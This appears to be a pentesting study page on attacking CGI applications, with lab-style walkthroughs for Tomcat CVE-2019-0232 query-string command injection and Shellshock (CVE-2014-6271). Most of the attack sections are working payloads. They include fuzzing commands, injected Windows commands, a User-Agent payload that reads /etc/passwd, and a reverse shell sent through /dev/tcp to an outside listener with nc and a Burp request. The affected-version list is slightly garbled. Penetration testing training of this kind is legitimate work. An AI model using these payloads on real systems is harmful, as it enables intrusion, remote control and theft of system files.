Skip to content

Pentesting Common Gateway Interface (CGI) applications

Common Gateway Interface (CGI) is used to help a web server render dynamic pages and create a customized response for the user making a request via a web application. CGI applications are primarily used to access other applications running on a web server. CGI is essentially middleware between web servers, external databases, and information sources. CGI scripts and programs are kept in the /CGI-bin directory on a web server and can be written in C, C++, Java, PERL, etc. CGI scripts run in the security context of the web server.

CGI scripts/applications are typically used for a few reasons:

  • If the webserver must dynamically interact with the user
  • When a user submits data to the web server by filling out a form. The CGI application would process the data and return the result to the user via the webserver

The CGI program starts a new process for each HTTP request which can take up a lot of server memory.

Attacking Tomcat CGI

The CGI Servlet is a vital component of Apache Tomcat that enables web servers to communicate with external applications beyond the Tomcat JVM. These external applications are typically CGI scripts written in languages like Perl, Python, or Bash. The CGI Servlet receives requests from web browsers and forwards them to CGI scripts for processing.

In a nugshell, a CGI Servlet is a program that runs on a web server, such as Apache2, to support the execution of external applications that conform to the CGI specification.

CVE-2019-0232 is a critical security issue that could result in remote code execution.

  • This vulnerability affects Windows systems that have the enableCmdLineArguments feature enabled.
  • Versions 9.0.0.M1 to 9.0.178.5.0 to 8.5.39, and 7.0.0 to 7.0.93 of Tomcat are affected.
  • The enableCmdLineArguments setting for Apache Tomcat's CGI Servlet controls whether command line arguments are created from the query string. If set to true, the CGI Servlet parses the query string and passes it to the CGI script as arguments.

Example:

Suppose you have a CGI script that allows users to search for books in a bookstore's catalogue. The script has two possible actions: "search by title" and "search by author."

1
2
3
4
5
http://example.com/cgi-bin/booksearch.cgi?action=title&query=the+great+gatsby
# Here, the action parameter is set to title, indicating that the script should search by book title. The query parameter specifies the search term "the great gatsby."

http://example.com/cgi-bin/booksearch.cgi?action=author&query=fitzgerald
# Here, the action parameter is set to author, indicating that the script should search by author name. The query parameter specifies the search term "fitzgerald."

For instance, an attacker can append dir to a valid command using & as a separator to execute dir on a Windows system.

http://example.com/cgi-bin/booksearch.cgi?action=author&query=fitzgerald?&dir

Finding an injection endpoint:

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.205.30:8080/cgi/FUZZ.cmd 

Since the operating system is Windows, we aim to fuzz for batch scripts. Although fuzzing for scripts with a .cmd extension is unsuccessful, we successfully uncover the welcome.bat file by fuzzing for files with a .bat extension.

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.205.30:8080/cgi/FUZZ.bat

If we find an endpoint named "lala" we can trigger the RCE by browsing to:

http://10.129.205.30:8080/cgi/lala.bat?&dir

We can do a whoami like this:

1
2
3
4
http://10.129.205.30:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe

# And URL parsed would be:
http://10.129.205.30:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe

Attacking Sherlock

The Shellshock vulnerability (CVE-2014-6271) allows an attacker to exploit old versions of Bash that save environment variables incorrectly.

1. Find endpoints:

 gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi

Let's say we find access.cgi.

2. Next, we can cURL the script and notice that nothing is output to us, so perhaps it is a defunct script but still worth exploring further.

curl -i http://10.129.204.231/cgi-bin/access.cgi

3. Explaining the payload:

env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

When the above variable is assigned, Bash will interpret the y='() { :;};' portion as a function definition for a variable y. The function does nothing but returns an exit code 0, but when it is imported, it will execute the command echo vulnerable-shellshock if the version of Bash is vulnerable.

Reading /etc/passwd

We can test the user-agent header and see that the contents of the /etc/passwd file are returned to us, thus confirming the vulnerability via the user-agent field.

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi

The payload:

() { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'

Exploitation to Reverse Shell Access

Set a listener:

nc -lnvp 1234

Get the reverse shell with curl:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.15.78/1234 0>&1' http://10.129.204.231/cgi-bin/access.cgi

Get the reverse shell with Burpsuite:

GET /cgi-bin/access.cgi HTTP/1.1
Host: 10.129.205.27
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.15.78/1234 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 12 Oct 2020 09:32:54 GMT
If-None-Match: "2aa6-5b175fba24dbe-gzip"

Shellshock is a legacy vulnerability that is now nearly a decade old. But just because of its age, that does not mean we will not run into it occasionally. If you come across any web applications using CGI scripts during your assessments (especially IoT devices), it is definitely worth digging.

Last update: 2025-02-09
Created: February 9, 2025 20:01:37